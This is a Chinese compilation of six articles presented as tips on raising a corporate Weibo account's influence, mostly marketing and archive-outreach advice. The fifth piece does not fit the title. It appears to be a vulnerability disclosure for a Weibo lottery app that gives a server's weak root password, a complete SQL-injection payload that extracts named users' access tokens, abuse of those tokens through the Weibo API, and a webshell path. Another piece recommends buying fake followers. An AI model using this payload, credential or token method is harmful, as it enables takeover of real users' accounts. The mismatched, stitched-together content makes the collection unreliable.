微博运营技巧：如何提升企业微博的影响力

微博运营技巧：如何提升企业微博的影响力（共6篇）

篇1：微博运营技巧：如何提升企业微博的影响力

2周前我们在微博上分享了@企业微博助理 运营团队分享的运营思维导图，得到了很多读者的点击与下载，围绕思维导图的一些关键点与企业常关注的一些运营问题，我们实际采访了当时的运营人员的@baiyi ，并且针对这些问题得到了她的解答。(注：baiyi目前已经不再继续负责维护@企业微博助理 这个微博)

企业开始微博运营初期设定怎么样的目标与评估标准比较合理?

首先还是要确定运营目的，小助在前期运营目的不是很明确，因此取得的效果并不明显。衡量的方法也比较简单，也就是评论、转发、粉丝数这些内容。但在后来我们明确了帐号的定位首先是向外输出我们的内容和理念，再次是活跃企业用户的目的以后，评估的方法围绕着目的就比较好确定了，特别是企业微博2.0产品上线以后。博文曝光量作为评价传播效果的主要数据。活跃粉丝数作为用户活跃的主要衡量指标。但由于我们在运营较稳定后更希望和用户产生互动行为，因此后期主要是以互动粉丝量作为衡量的中心。

在初期运营目标的设定上，个人觉得首先考虑组织的整体目标，是销售、品牌还是维护消费者?再次本着扬长避短的宗旨，找到企业有优势的部分进行传播，将其设定为初期的目标。初期的目标不适合设置太复杂。可以慢慢做加法。

对于小人数的微博运营团队，团队建设与分工上有什么建议吗?

建议由一个人主负责，最好是全职。这个人比较关键，最好是有一定沟通能力、心理素质和想法的同事。其他部门或特长的同事进行支持，KPI共同来背。团队内定期对过往的运营行为进行回顾。

在开始运营微博时，都需要做哪些准备? (吸引精准粉丝，品牌定位的部分)

根据目标设定微博的形象，包括展示层面，例如：昵称、背景、页面设置等。还有就是个性层面，例如：性别、性格、语言语态等。这些形象都需要和精准粉丝的喜好进行契合，另外需要和组织内部沟通，争取组织内其他部门认识的统一和明确。

刚刚开始运营微博，有什么建议可以获得粉丝的关注吗?

小助一开始先去关注很多运营的很好的企业用户，也就是我们的精准粉丝。回关注小助的也很多。这个我发现很多企业都懒得去做。另外小助会参与到很多精准粉丝的沟通中去，例如去一些精准粉丝集中的帐号或微群聊一些精准粉丝感兴趣的话题，来增加曝光和认知。

企业微博的形象定位，微博调性上应该注意些什么?

个人觉得还是统一吧，特别现在很多的微博有频繁变换运营人的可能。怎么在个性和风格稳定中取得平衡。个人建议还是以品牌个性作为主线，接近但别依赖运营人的性格。另外一个是形象定位需要迎合目标粉丝的喜好，这个也是小助后期略微转变风格的一个原因。之前小助太严肃，后来我们发现即便是官微也爱卖萌，因此我们加入了轻松的话题。迎合是需要对目标用户有相当的理解。我们经常会向用户调研也会用小测试看用户的反映，了解他们的喜好。

企业微博与粉丝互动应该注意哪些事情?

转发和评论这些大家都说得很多了，我就不再重复说了。我想说一下搜索这个的动作。个人认为是在互动中很重要的动作。先说“搜索”，“搜索”很多时候是互动的第一步，“搜索”不是想了解谁说了我坏话的时候才用到的。而是应该是了解舆情、目标用户状态、目标用户接触点等方面入手。就好像我们想结交一个新朋友，需要找到谁有可能和我们做朋友，我们要以什么话题开始这段谈话一个意思。这是我认为很重要但又被很多企业忽略的一点。微博营销的第一步肯定是倾听，倾听里有很多可以挖掘的东西。

在提升粉丝忠诚度@企业微博助理 都做了什么的努力?

提升粉丝确实是一个微博运营中非常重要的一关，很多企业认为粉丝数很重要，而我认为粉丝忠诚度更有价值，

我们是这么考虑这个问题的。为什么粉丝对你有忠诚度，因为你能提供独特的价值。你必须有独特的足以取代他人的价值。那么下一步要明确他们需要什么价值。以及你能提供什么独特的价值。把这两点一匹配上就方向明确了。我们把提升粉丝忠诚度分为两大类工作，一个是内容，一个是激励。

在内容方面，我们尽可能提供快速、实用、独家的内容。

1)沟通产品同事，获取产品优化和上线的第一手资料，在#微博功能早知道#的版块发出，并设计了专用的图片模板以统一视觉效果。

2)撰写产品使用说明文档和运营手册等内容，进行分享。我们的产品在一些初级用户看来还是比较复杂，微博运营也有一定挑战，因此我们会从培训的角度来制作帮助内容进行分享，因此有了#微博运营不求人#内容系列

3)整合社会化营销观点，发起线上讨论。我们很希望能在微博上整合全国知名的讨论社会化媒体的线下沙龙，将优秀的观点放到微博中再次讨论。大佬和草根的角度的理解不同，这样的思想碰撞会更有意思。因为我们先后和NTA和Socialbeta合作过沙龙的线上讨论

在激励方面，我们希望能挖掘更多在微博营销领域有见地并有实操经验用户，鼓励好的创意、好的运营人、好的案例。所以我们做了以下几件事

1)通过账号收集用户对产品的意见，参与到产品优化建议中。能够对产品提出意见和建议的企业和运营人一般都是在用心运营。他们对微博营销实操的方法有一些是在产品设计中没有考虑到的。这样的沟通。对于企业能快速帮助他们解决遇到的问题，给予用心运营的企业已基础支持。

2)企业微博大家谈访谈，将优秀营销人、运营人推向前台。我们在交流中遇到有“干货”的营销人、运营人我们会邀请他们进行“微访谈”。和企业用户交流他们的营销心得。共同学习、共同交流、共同进步。

3)企业案例征集活动，给用心运营的企业一个自荐、展示的舞台。我们会以 官方开展“企业微博案例自荐和评选”的活动，首先请企业自荐，我们通过一定的评选，将这批案例推出。鼓励更多好的企业用心运营。也能成为新进入的企业一个学习和成长的教材。

中小企业使用 企业2.0 ，有哪些功能你是推荐的?

最推荐的是“数据中心”，怎么评判微博运营的效果是现在大家遇到的大问题。我觉得这个问题可以分解，一个是微博运营的怎么样，第二个是微博运营对社会化舆论的一个影响。企业希望的品牌美誉度提升、销售效果提升等等都是通过运营对社会化舆论影响的一个具体化反应。“数据中心”目前的功能个人认为是能够满足微博运营的怎么样的问题。如果我们希望提升运营数据，以便更好的影响社会化舆论的声量。我们就可以通过“数据中心”的指导来优化。具体优化方式可以参考我之前的文章。

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篇2：微博运营技巧：如何提升企业微博的影响力

一、漫画微博

微博是一种社交网络平台，它以140个字的长度来书写内容。微博是在博客的基础上开发出来的，首先出现在国外，从08年开始中国开始建设了自己的微博。目前中国最大的微博平台要数新浪微博了，它借助明星路线成长起来，始终坚持着明星或者名人路线的发展方向。微博的实质是社交化关系网，也注定了它是众人关注的热点。在微博上，吸引用户的就是一种分享和交流。你可以将你今天中午吃过的饭，分享给你的朋友；或者你还可以将你买到的一件漂亮衣服分享给你的粉丝。（粉丝就是微博上关注你的用户）微博改变了互联网上很多的局限性，它让你感觉到你的生活收到了很多的关注。再就是微博的用户到现在已经有两个多亿，他们中很多都是拥有高学历或者是高收入的群体，其中学生属于主流。而我们公司的初期目标客户群体定位在校园，那么微博的使用率在学生群体中还是很高的，所以对于我们来说微博必将会发挥很大的作用的。

二、微博的功能和用途

如果我们公司开通了微博账号，我们可以做一些什么呢？ 首先，我们可以通过微博去结交很多的目标客户，通过互联网来补充我们传统渠道的不足。因为微博的的使用是一种交互式的的社交工具，所以很多时候，这些目标客户就会成为我们的朋友或者是口碑。他们会分享我们的微博或者@我们，让我们的微博内容可以让他身边的朋友看到，这种病毒式的传播方式，营销效果很好。再就是我们可以通过微博来宣传我们公司的产品或者是我们公司的品牌价值，因为我们的粉丝每天上下线时可以互相打个招呼，就像是邻居一样，每天网上见面问个早安晚安的，很是亲切，并且这种亲切感是不需要支付什么成本就可以建立的。除此之外呢，其实他还有很多的用途，譬如说：在节假日或者促销季节，我们可以通过微博开展一些活动，像转微博送我们公司的产品，或者是参加我们的抽奖。并且这种宣传活动的传播力度会非常的大，因为它会使你粉丝的粉丝成为你的“粉丝”（因为你粉丝的粉丝可以看到我们的促销活动，并且如果我们活动的趣味性够强，可能会是这个粉丝的粉丝成为我们的粉丝，并且自主的去宣传这个活动）在这些方面做得比较成功的有凡客诚品的送“围脖”事件、国外的一个移动贩卖摊、还有北京的背包书店。

三、微博应用中的问题

对于微博的开发也不是像想象中的那么简单，其中还是有很多需要注意的问题的：

一、在微博建立初期，要积累一定量的粉丝。这其中可以采用的方法有很多，找一些人来互粉、或者刷僵尸粉、也可以去找一些微博营销公司来购买粉丝。（但是对于这些方法的运用呢，要适可而止，毕竟你是像用微博来开展营销的，所以就要尽可能的去吸收一些目标用户）

二、等到有一定量的人气，可以去申请实名认证，（就是微博平台的开发者，可以确定你的身份）认证的用处就是可以提高你的信用度，还有他可以提高你的人气，一般加V的认证的人都会的到新浪微博的推荐，也就是说你会被推荐给其它的用户。

三、如何去吸引你的目标客户的眼球，我想这也是工作的主要部分，这里可以做的工作就是多去关注目标群体关注的话题，然后就是适时发表，注意发表的时间和数量，再就是对产品宣传的内容要控制在每天一到两条（具体看情况而定），并且要注意和目标群体的互动，可以采用@发一些信息给目标群体

四、当然了在微博运营里，还有一个更重要的问题那就是多结交一些高粉丝的微博账号，因为高粉丝人群的受关注度高，再就是他的信息传播力度大，从莫言此次成为“诺贝尔文学奖获得者”的事件中就可以清晰地从下图中看到：、四、微博的成本优势

微博作为时时更新，以进行生活记录、情感倾诉和信息交流的平台。显然，微博与其他的信息交互工具相比，具有以下成本优势。

首先，使用微博的人变动成本几乎为零，因为电脑、手机以及网络已经存在，可以看做是沉没成本，那么在上网的同时顺便发送一个状态，仅仅需要支付较低的流量费，没有额外地增加其他费用；同时，发送的状态都很简洁，无需费劲脑筋去润色，时间成本也微乎其微。其次，微博通过小状态的形式来形成最大限度的信息空间，单位信息所包含的成本也微乎其微，这就意味着增加信息所带来的边际成本也趋近于零。这样一来，对微博使用者来说，几乎是以零成本的优势来显示信息。

微博大概就是用近乎零使用成本的方式来最大程度地实现网络扩张，然后通过商业广告等方式来获得对自己安装基础投入和企业家精神的补偿。如果要问目前商务交流中联系最常用的方式，你可能会说出一堆：电话、短信、QQ、MSN、电邮、博客等等，现在又多了一个微博。微博牢牢抓住了现代人孤独的内心。当日益发达的社会分工把人的工作和生活挤入某个狭小的角落时，人们再也无法回归乡土社会的交往模式，能够在夜幕降临时三人一群、五人一组聚在某棵老树下闲聊，即便是打麻将，学川人去茶馆摆龙门阵，或者学粤人吃早茶，学津人去听相声，如此等等，也是随时招呼着。不像现在，得预约！

发达的社会分工必然带来高昂的交易成本，这是新制度经济学的一个基本结论之一。因为分工越细，协调就越困难，所付出的成本当然就会越高。如此一来，受到交易成本的限制，人们之间的社会交往就会下降。于是哈佛大学的著名学者普特南惊呼：现代社会的社会资本下降了！通俗的讲，就是相互帮忙的时候少了。可别小看这一点。过去农户之间就是依靠这种相互帮忙才能够减少风险，才能实现联合生产，并可能促进技术进步。

那么现在社会交往较少导致社会资本下降，是否也会导致社会的退化？普特南是有此担心的。尽管一些学者反驳说，普特南只看到了传统交往方式的下降，却没有看到新的交往方式的上升，但不可否认，专业性的保险公司、其他社会保障机构的出现实现了社会保障社会化，从而降低了个体对家庭、家族和乡土社会的依赖；而服务业的发展使得人们可以去专门的俱乐部、茶馆、饭馆以及其他休闲场所聚会，从而导致交往空间社会化。社会分工压缩了个体的活动空间，而社会保障和交往空间的社会化不过是孤独的个体为了保护自己最后的私人空间所做的努力。家庭这个温馨的小窝已经是最后的避风港。当我们在一个社会空间中畅游时，实际上是带有某种戒备之心进行社会交往，不再有走家串户那种自由自在。因此，尽管新的交往方式层出不穷，但交往的成本也可能在上升，这实际上说明普特南是正确的。

微博的流行实际上是对社会交往高成本的反映。按照埃文威廉姆斯的想法，过去博客过于长篇大论，不利于人们的表达，而微博将每篇博文的字数限制在140字以内，以短小精悍的形式呈现，利用Web2.0网络技术和绑定手机服务功能，构筑了一个可以随成本几乎为零，网络就可以无限扩张，因而很容易预见微博会实现相关领域的赢者通吃。

以上可以看出，这也印证了经济学的一个基本道理：这世界没有免费的午餐！埃文威廉姆斯自认为给微博使用者提供了一份免费午餐，但仔细分析，这午餐其实并不免费。道理很简单，当使用者发送信息的成本近乎于零，使用者边际上增加任何一条信息，都至少不损失，使用者就会有激励增加信息的显示。想想看，使用者会怎么做？无论信息是否有价值，使用者都会发送信息。这就是免费午餐所产生的激励问题。一 旦使用者认识到这一点，那么就会带来一系列的后果：首先，使用者会过度传递信息，结果导致微博上信息过载，相对应的就是接收信息的一方搜集和识别信息的成本增加了。使用者上传的信息越多，其看信息的成本也就越大。结果上传信息的零边际成本可能带来利用信息的高昂边际成本。其次，由于上传信息几乎免费，使用者可以不对上传信息负责，因而会出现虚假上传，从而导致微博上的信息扭曲。

实际上，低成本交往能够提高交往频率，但会降低交往质量。微博的风险即在于此。如果微博局限于日常生活的表达，那么会成为改进人们交往和福利水平的工具，甚至会提高社会资本。但如果微博像现在一样扩展到日常生活之外，比如社会政治经济领域，那么利弊得失就很难说了。可以说微博大大降低了人们参与社会网络的成本，因为如前所述，参与的边际成本几乎为零，但同时也提高了社会的总体风险。

篇3：探讨如何提升档案馆微博的吸引力

关键词：档案馆微博；吸引力；探讨

如今，微博的“力量”，给诸多行业和领域带来了前所未有的收获和巨大的影响力，档案馆也抓住了这一“契机”与“能量”，利用微博，开展档案利用服务工作，以获取自身的价值与影响力。然而，对我国档案馆应用微博的现状进行调研后却发现：档案馆微博的“人气”并不是档案人所期待和想象的，因此，想就此实际问题提出一些建议，以期能帮助我国档案馆微博获取更大的吸引力，同时，也希望档案馆微博能有更好的发展空间。

1 提高档案馆微博的信任度

《中华人民共和国档案法》、《关于加强国家档案工作的决定》中都指出，档案工作的最终目的是：“开发利用档案信息资源，为社会各方面工作提供利用与服务。”可以看出：档案“被利用”是档案馆最大的魅力所在。2000年和2002年，国家档案局颁布的《全国档案事业发展“十五”计划》、《全国档案信息化建设实施纲要》都明确指出要把档案信息化建设作为档案馆根本任务，全面为各项工作提供便利服务。

微博是信息化时代的标志，如今，微博已被推崇为信息时代档案服务利用的新平台，是展示档案馆“魅力”的新途径，并且我国多家档案馆都以不同形式在多家网站上注册了微博。但就目前应用效果来看，有些不尽如人意。

原因之一是信任度问题。因为，档案馆微博是实体的档案馆在虚拟世界中的体现，因此，用户对档案馆微博的信任度就成为他们上档案馆微博的第一门槛。

信任即相信和可以托付。信任度即相信和可以托付的程度。在档案馆微博的实际调研中发现，档案馆微博注册不规范，微博网站中，同样都是以档案馆的名称出现，有的是以机构名义通过官方注册的，有的却是以个人名义注册的。其中，个人注册的档案馆微博，简介、标签、个人资料、地址等信息不完整，甚至还存在虚假成分，这些都势必会影响用户的信任度。还有，微博内容不规范，信息种类混杂、凌乱，有的甚至会被误认为是一个聊天平台。因此，笔者认为，首先，作为微博网站，应规范机构和个人利用微博的名称，对非经注册的机构不能以机构的名称命名，从事档案工作的个人想以微博的形式给用户提供方便服务的，应以档案管理员的身份注册，并且，微博主页的“标签”、“简介”和“个人资料”填写清楚，在微博主页上，还应以适当方式显示本人的真实身份和工作单位，以消除用户利用档案的顾虑，增加用户的信任度。其次，档案部门也应建立本单位微博管理机制，设置专门的管理人员，规定相应的管理职责和义务，并以适当形式把内容显示在微博主页上，增加用户对微博的托付感；管理员应按职责要求，确保微博信息真实有效；部门应定期对档案馆微博管理进行检查，对出现的问题及时予以纠正，涉及用户的问题，管理员应及时反馈给用户，让用户安心上微博，切实提高档案馆微博的信任度。

2 确保档案馆微博的天然“用户粉丝群”

我国各家档案馆都拥有浩如烟海的档案资源，每个档案馆都囊括了人类物质和精神文化的财富，承载着各自丰厚的历史文化信息，自然拥有和具备了天然“用户粉丝群”和条件。而在实际调研中发现，档案馆微博自身拥有的天然“用户粉丝群”数量并不理想，原因是馆藏资源的微博信息量较少，这种现象也许与档案的保密性有关，但保证人们正常利用的开放性馆藏资源提及得也很少，以致许多正常用户不知道档案馆有哪些可利用的档案。甚至有些用户急需用的档案却不知该到哪里获取，怎样获取，这样就无意间失去本该拥有的“用户群”，因此，大力宣传档案馆馆藏资源、工作模式和利用流程是第一要义，极大地发挥微博形式多样性等优势。首先，利用图片宣传馆藏资源、档案知识，介绍档案馆的性质、基本职能等，增强公民的档案社会意识；利用直观和形象的视频展示和介绍本馆的馆藏结构、设施、开放档案的种类、档案人员的工作状态、利用档案的程序等，使用户犹如身临其境，充分掌握档案馆的馆藏资源，并熟知可以利用哪些资源，该如何办理等。其次，向公众推介和公布馆藏精品和特色资源：风土人情、当地历史沿革、特色美景、名人档案、文物档案和家谱档案等；同时建立与用户沟通的桥梁，增加与用户之间的亲和力，使天然“用户群”变为档案馆微博的“粉丝群”，确保档案馆微博天然“用户粉丝群”的牢固。利用微博特有的“私信”与用户沟通，建立由自身用户粉丝组成的“私信沟通群”，及时解答和回复提出的疑惑和问题，及时倾听他们的“心声”，尽最大努力为他们提供各类所需的档案服务，增加与用户的亲密感，让他们拥有进入档案馆微博就如进入家的感觉，让他们自觉情愿成为档案馆微博的贴心“用户粉丝群”。[1]

3 挖掘档案馆微博的潜在“用户粉丝群”

主页显示的粉丝数，是公众（包括单位或个人）关注档案馆微博的数量，即：粉丝数越大其吸引力也就越强。由于档案馆自身性质的原因，一般来讲，其粉丝群就是其用户群，由此，档案馆微博的粉丝数量是十分有限的，要想提高档案馆微博的吸引力，就要把更多的用户群变为档案馆微博的粉丝群，因此，档案馆应不断挖掘和开发“新的”档案资源，满足日益增长的、变化的、更深层次用户的用档要求：在馆藏资源的基础上，编研各类档案文件、民生档案资料、目录、参考资料、地方特色资源等；利用微博的优势，把档案与媒体信息相融合，随时体现档案对于突发事件的重要性、及时应用性和灵活应用性的特征，如，在“汶川地震”阶段，档案馆微博也应站在救灾前沿，为国家救灾、赈灾和档案的保护献出一份力量；举办各种档案学研究讲座，发布档案与其他学科联系的博文，使档案馆微博成为档案学研究的资料信息提供基地；建立在线服务平台，满足在线利用档案的微博用户的需求，并以不同的微博方式，图片、链接、视频等，将信息内容传递给用户；疏通各界用户对各种档案需求的途径，建立各类用档窗口：各类民生档案办理窗口、学生用档窗口、家谱用档窗口等，吸引更多的潜在用户并及时满足他们的需求；建立档案机构的微博群，共同营造良好的档案大环境，共同为用户提供以人为本、多功能、专业性强、更加有针对性的公共服务，利用“心贴心”的服务，不仅使档案馆微博拥有更多的用户群，而且获得足够的粉丝群。并且让更多的人走进档案馆微博，让更多的人对档案馆微博有所用、需要用和方便用，使他们最终成为档案馆微博最铁杆的黏合人群，达到多方位挖掘档案馆微博的“潜在用户粉丝群”。[2]

4 以“档案微博”提高档案馆微博质量

档案馆的魅力来自档案，同样，档案馆微博的魅力也来自“档案微博”。“档案微博”即：由档案馆直接发布的与档案馆工作、业务等有关的微博。据档案馆微博内容实际调研得知：档案馆微博与相近领域微博的粉丝数相比，[3][4]差距较大，原因是所发布的“档案微博”较少，很多微博博文内容与档案无关。有的与档案馆工作有关的，却像一个流水账，无任何价值，甚至有的微博没有一条有关档案方面的信息，表现给人们的只是一个像QQ一样的与朋友闲聊的平台，这样的结果必定会导致用户失去登录兴趣。实际调研数据显示：75家档案馆微博信息总数为：6006条，粉丝总数为：23160个；所发“档案微博”总数为：2190条，占微博总数的36%；而6家粉丝数上千的档案馆微博，粉丝总数为：15662个，占粉丝总数的67.6%，所发的“档案微博”数为863，占档案微博总数的39.4%；可见，档案馆发布的“档案微博”越多，其粉丝数就越高，其吸引力、影响力就越大，这个结果也充分诠释了档案馆微博的独特性质及其魅力所在。

因此，应增加“档案微博”的数量，真正以“内涵吸引用户，以所需吸引用户”，极力体现档案馆微博的“有用性”：及时反馈用户所问所疑，及时获取用户所需，及时满足用户所求等，并将档案办理程序、所需证件材料、档案馆工作时间、档案馆新的资源信息等及时传递给用户，使每个上档案馆微博的用户不空手而归，逐渐使用户形成“用档前，上微博”的习惯，让用户切身感到上微博是自己用档前的“必备”和“必需”；加强与同行的联系，多方位整合其他档案机构的“档案微博”资源，以达到资源共享；建立“档案评论角”，以档案人的视角参与媒体新闻和事件的评论与转发，引起更多人的关注，及时听取用户的反馈与心声，以达到多方位提高档案馆微博的质量和吸引力。

5 加快档案馆微博的更新速度

档案馆之所以利用微博，就是借微博独有的传播快、覆盖面广、互动性强等优势，改变档案服务利用的方式、提升档案服务信息传播速度，更快捷、更方便为用户服务，更好地开展各项档案管理工作，从而提高档案馆的影响力。但实际调研结果发现：很多档案馆微博内容更新速度较慢，内容陈旧、单一，甚至有些档案馆自开通微博后，就再也没有任何信息，失去了的档案馆应用微博的效力和最初的愿望。因此，应努力提高档案馆微博内容的更新速度，时刻提供各类最新、最及时的服务信息内容；建立各个网站链接的端口、手机上网端口、微信群等，如，与“人人网”建立链接，极大提高高校档案馆学生档案的管理与利用。使所有不同层次的用户，能在第一时间获得最需要的信息；建立专门微博管理队伍，加强微博的管理，确保微博内容及时更新、及时维护，时刻做到与用户和网民的互动，与粉丝群体的联络与沟通，及时回复用户和公众的需求和留言，有针对性地发布博文，使每位随时上档案馆微博的人切身感到，上微博有“新感”、有“新用”，并且让他们感叹：档案馆微博是他们利用档案的最佳途径。

6 提高档案馆微博的服务质量

只有不断地提高“服务”质量，才能保证档案馆微博的吸引力具有长久的生命活力，因此，应抓住微博的各种优势，提供档案馆微博的优质服务，使档案馆微博的生命力长久延续，永葆青春。

“反馈”和“投票”是微博特有的应用方式，档案馆微博可以利用这种方式经常倾听用户的呼声，不断改善和改进档案馆微博的管理模式，提高服务质量。

“私信”是微博给档案馆提供的另一个宽广的利民服务渠道，可以通过“用户私信编号”的方法，针对特定个人或群体私信所提供的内容，配送特定的服务，同时，可用“私信”提供的密码，为用户实现网上查档。[5]另外，建立全方位、立体性的网络沟通平台，及时发布档案开放利用新消息，通过移动设备、M软件和外部API接口等途径，让公众更加便利地获取信息。

开通微博咨询、查询和答疑热线，让用户享受“进行时咨询”“进行时解答”的“金牌”服务；利用“呼叫和回复”的服务方式，即：微博的信息可以定向推送给特定用户，收到呼叫的用户也可以及时作出回复，进行“一对一”、“面对面”的解惑或提问，达到提升用户用档服务的层次。

积极推进档案馆微博内容建设，为用户提供更多丰富实用的信息，满足用户多方位、多样化、多层次的需求。[6]利用多种形式，为档案专家、档案科研人员与普通网民就档案话题随时在线交流提供空间，逐渐推进“平淡无奇”的档案馆微博走进人们心中，日渐提升档案馆微博的魅力，让档案馆微博稳步推动档案工作的健康发展。[7]

总之，要有效地提升档案馆微博的吸引力，就要全面提升档案馆微博的“内涵”和“外延”，即：微博内容的质量、规范的机制与管理，优质的服务和自身的不断努力。

﹡本文为2013年度河南省档案局科技项目： 2013-R-23《微博在档案馆中的应用研究》阶段性成果。

参考文献：

[1]李春秋.微博在档案开放利用中应用的探讨[J].兰台世界，2011（9）中旬：55.

[2]松姗.综合档案馆政务微博现状分析与建议[J].兰台世界，2012（5）中旬：22.

[3]李超.国内图书馆开通微博服务的现状分析[J].图书馆杂志，2012（2）：24～28.

[4]陈琳.国内图书馆微博应用现状研究[J].图书馆学研究，2012（12）：30～34.

[5]庞文琪，黄新荣.我国档案部门微博利用状况及问题研究[J].陕西档案，2012（4）：39.

[6]张垒.微博：档案馆服务利用的新平台[J].浙江档案，2011（11）：31.

[7]童霞，钟国文.谈谈微博与档案馆的对外宣传[J].四川档案，2012（1）：42.

篇4：企业微博的六个平衡

1.平衡企业原则与客户情绪微博是把双刃剑，负面信息一旦开始传播，我们就要注意一方面从理性角度严谨调查事件真相，另一方面从感性角度安抚客户情绪，

2.平衡粉丝量与美誉度很多企业一味追求粉丝量，却忽略了粉丝的需求，极易造成粉丝体验感下降以致伤害企业美誉度，

3.平衡业务诉求与粉丝诉求企业微博作为企业自媒体之一，最根本的是要创作出符合粉丝口味的内容。

4.平衡移动客户端和PC端长图、视频等形式会消耗太多流量，因此我们会安排在晚上发出这些形式的微博内容，方便用户通过PC端浏览。另外，为抓住移动客户端碎片化特点，在语言风格方面，尽量做到简单易读。

5.平衡微博与其他新媒体平台借鉴微博矩阵的成功模式，结合当下新媒体如微博、微信、移动APP客户端、其他社交媒体平台，互相配合。

篇5：微博运营技巧：如何提升企业微博的影响力

相关api文档：open.weibo.com/wiki/%E5%BE%AE%E5%8D%9AAPI

如果 微博用户授权了某应用 而某应用被 攻击的话，获取到access_token危害将是很大的。

下面就来说个 微博上很多人用的 一款应用 ： 转发抽奖平台。

影响很多用户：

挑几个有名的

王思聪

周鸿t

百度卫士

回忆专用小马甲

等等.....

-------------------------------------------------------

judge.drip.im/.git/config 可以使用 rip-git.pl进行下载源码。不过由于下载速度太慢

就把git服务器搞了：git.jilen.org

root密码为弱口令：zhengjiao

打包了分抽奖平台的源码回来看看，里面有好几发注入(包括thinkphp框架出的注入)，还有 源码一些权限判断不严谨 只是做了 header转跳后没有exit;

注入：

judge.drip.im/honor/?t=12_04 where 0 UNION(SELECT * FROM ((SELECT 24894)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e JOIN (SELECT 6)f JOIN (SELECT 7)g JOIN (SELECT 8)h JOIN (SELECT token from token where account_id=1708942053 limit 1)i JOIN (SELECT 10)j JOIN (SELECT 11)k JOIN (SELECT 12)l JOIN (SELECT 13)AA JOIN (SELECT 14)AB JOIN (SELECT 15)AC JOIN (SELECT 16)AD JOIN (SELECT 17)AE JOIN (SELECT 18)AF JOIN (SELECT 19)A1 JOIN (SELECT 20)A2 JOIN (SELECT 21)A3 JOIN (SELECT 22)A4 JOIN (SELECT 23)A5 JOIN (SELECT 24)A6 JOIN (SELECT 25)A7 JOIN (SELECT 26)A8 JOIN (SELECT 27)A9))%23

查询周鸿t得到token，

使用weibo的关注api即可

open.weibo.com/wiki/2/friendships/create

测试完已经 取关注了。

同服shell

jilen.org/wp-includes/css/media-foo.php

修复方案：

打包回来的源码已经删除。

删除git目录,密码应该更换更安全的密码。

token不知道是不是必须要存储的?

篇6：微博运营技巧：如何提升企业微博的影响力

但国内家电企业大都处于微博营销起步摸索阶段，大多将微博作为互联网营销的附带业务，没有长远规划。微博发布内容不规范，内容同质化，甚至还有的企业只是把微博当做广告发布平台，引起了粉丝反感。笔者认为，微博庞大的用户群里蕴藏着数以千万计的消费者，也蕴藏着无限的商机，但仅靠企业的简单关注和参与是做不好微博营销的，家电企业想要抓住机遇，利用微博就必须要做到以下几点：

建立健全微博品牌传播战略

微博营销虽然发展迅速，但是走势不明显。家电企业应该有自己的微博营销战略，尽量采取低成本运营微博的同时，进行用户粉丝的积累，为中后期的推广做好准备，并对营销人员进行深度培训，做好人才储备。

注重品牌软营销，杜绝急功近利行为

微博的传播还存在诸多的不成熟和不确定性。企业想通过微博进行促銷，大幅度带动销售增长是不现实的。企业使用微博应该是作为品牌文化传播的软营销工具，要是急功近利反而会适得其反。

精心策划互动话题，规范发布内容

现在的互联网社会是互动的互联网。由于微博信息接受者的不可控性，不经过规划的发布很容易引起反感，而导致取消关注，从而破坏品牌在消费者当中的形象。微博发布内容应该经过专业团队的精心策划，通过话题互动、产品使用指南、家电保养指南等博得粉丝的好感，从而提升品牌形象，增强用户品牌忠诚度。

活动策划注意线上线下结合

线上线下是相辅相成的，不是相互孤立的。很多微博活动仅仅限于网上的互动，线下活动没有充分发挥作用，致使活动在开展时声势浩大，活动后不久便销声匿迹。如果精心策划的线上互动再加上成功的线下推介活动，可以再带来一轮又一轮的“病毒传播”，循环良性发展，从而树立企业良好形象，提升美誉度。

微博用户群体巨大，且推广成本较低的特点使其成为家电企业关注的新的营销阵地。有人认为微博会像开心、校内、全民偷菜一样，很快就会销声匿迹，但是微博的生命周期到底有多长不得而知。对于广大家电企业来讲，微博是一个机遇，应该在市场竞争日益激烈的今天，根据自身情况，选择合适的微博营销战略，抓住机会或许能促进业绩飞速发展。